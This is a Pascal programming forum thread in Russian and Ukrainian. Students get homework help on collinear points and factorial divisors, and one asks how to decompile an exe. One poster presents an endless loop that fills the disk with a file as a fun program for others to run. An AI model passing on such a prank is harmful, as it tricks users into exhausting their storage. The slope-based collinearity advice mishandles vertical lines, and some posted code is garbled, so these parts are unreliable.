Borland Pascal 7.0

[Cronus]

Повідомлення від ShaDoWWW

Народ помогите!!! Плиз... Оч. надо!!! Сказали до завтра сделать на паскале ЭТО... Помогите, кто как может... не знаю что делать!
1. Надо создать прогу
Три точки на площади координат ( A (x;y) B(x;y) C(x;y) ). отпределить лежат ли они на одной прямой.

2. Прога
Що за натуральним N знаходить кількість дальників його фактрайла (или как то так, вообщем что б при вводе "5" прога отвечала "1-2-3-4-5"(всемто - знак умножения))


не знаю что делать... помгите плиз...

1. Создаешь уравнения прямой АВ и прямой ВС (где А, В, С - твои точки) в виде y=kx+b. Проверяешь, если k1=k2 и b1=b2 => точки лежат на одной прямой.
Формула уравнения прямой за двумя точками:
(x-x1)/(x2-x1)=(y-y1)/(y2-y1), где А=(x1, y1), B=(x2, y2). Покрути на листике, привиди к виду y=kx+b, получи формулы для k и b. Дальше - см. выше.
2. Вообще-то речь идет о факториале (обозн. N!, N!=1*2*3*...*N).
Делаешь всего лишь проверку в цикле:
for i:=1 to N do
if N_fact mod i = 0 then dilnik:=dilnik+1;

где N_fact - это факториал данного числа, dilnik - кол-во делителей (ответ задачи). Надеюсь, процедуру для поиска факториала напишешь сам.

[Лосёнок]

Прикольная прога сам написал! за пустите кто-то на паскале зацените...
program xxx;
uses crt;
var i:integer;
x:text;
f:boolean;
Begin
Assign(x, 'www.bak');
ReWrite(x);
f:=true;
while f=true do
WriteLn(x, 'be or not to be');
Close(x);
readln;
End.

[Лосёнок]

rogram Star;
uses crt,graph;
const topstar: array[1..18]of integer=(300,125,325,225,425,250,325,275,300,375,2 75,275,180,250,275,225,300,125);
var i,j,grdr,grmd: integer;
begin
grdr:=detect;
initgraph(grdr,grmd,'');
settextstyle(DefaultFont,0,1);
outtextxy(140,150,'STAR');
settextstyle(DefaultFont,1,4);
outtextxy(500,150,'STAR');
repeat
{ j:=imod12;}
setfillstyle(random(13),random(13));
fillpoly(9,topstar);
{ inc(i);}
delay(500);
until keypressed;
closegraph;
end.

[Omegas]

Повідомлення від Лосёнок

Прикольная прога сам написал! за пустите кто-то на паскале зацените...
program xxx;
uses crt;
var i:integer;
x:text;
f:boolean;
Begin
Assign(x, 'www.bak');
ReWrite(x);
f:=true;
while f=true do
WriteLn(x, 'be or not to be');
Close(x);
readln;
End.

Сцука Лосёнок нах стыбзил маю задачу за каторую я бан получал!

[Magnetto]

Повідомлення від Cronus

1. Создаешь уравнения прямой АВ и прямой ВС (где А, В, С - твои точки) в виде y=kx+b. Проверяешь, если k1=k2 и b1=b2 => точки лежат на одной прямой.
Формула уравнения прямой за двумя точками:
(x-x1)/(x2-x1)=(y-y1)/(y2-y1), где А=(x1, y1), B=(x2, y2). Покрути на листике, привиди к виду y=kx+b, получи формулы для k и b. Дальше - см. выше.
2. Вообще-то речь идет о факториале (обозн. N!, N!=1*2*3*...*N).
Делаешь всего лишь проверку в цикле:
for i:=1 to N do
if N_fact mod i = 0 then dilnik:=dilnik+1;

где N_fact - это факториал данного числа, dilnik - кол-во делителей (ответ задачи). Надеюсь, процедуру для поиска факториала напишешь сам.

1. мне кажется все таки с углом проще...да и более надежно...так как на системе коордынат могут быть и нули и минусовые значения
расскажи плиз а факториале а то я чуть не понял

воть...мне даже не пришлось писать что то =)
только вот я забыл функцию которая возвращает значение угла...
щас буду юзать паскалевский хелп =)

[*Barthez]

как можна декомпилировать из exe-шника в иходный код *.pas ???

[.ShaDe]

Повідомлення від Magnetto

расскажи плиз а факториале а то я чуть не понял

Вводится любое число, например 8.
А програма в ответ выдает 1*2*3*4*5*6*7*8
Я понимаю это так =)

а с первым согласен

[ArmHorse]

Повідомлення від Magnetto

1. мне кажется все таки с углом проще...да и более надежно...так как на системе коордынат могут быть и нули и минусовые значения
расскажи плиз а факториале а то я чуть не понял

Правильнее через уравнение прямой (как говорил Кронус), а не через угол. Хотя работать будет и так и так.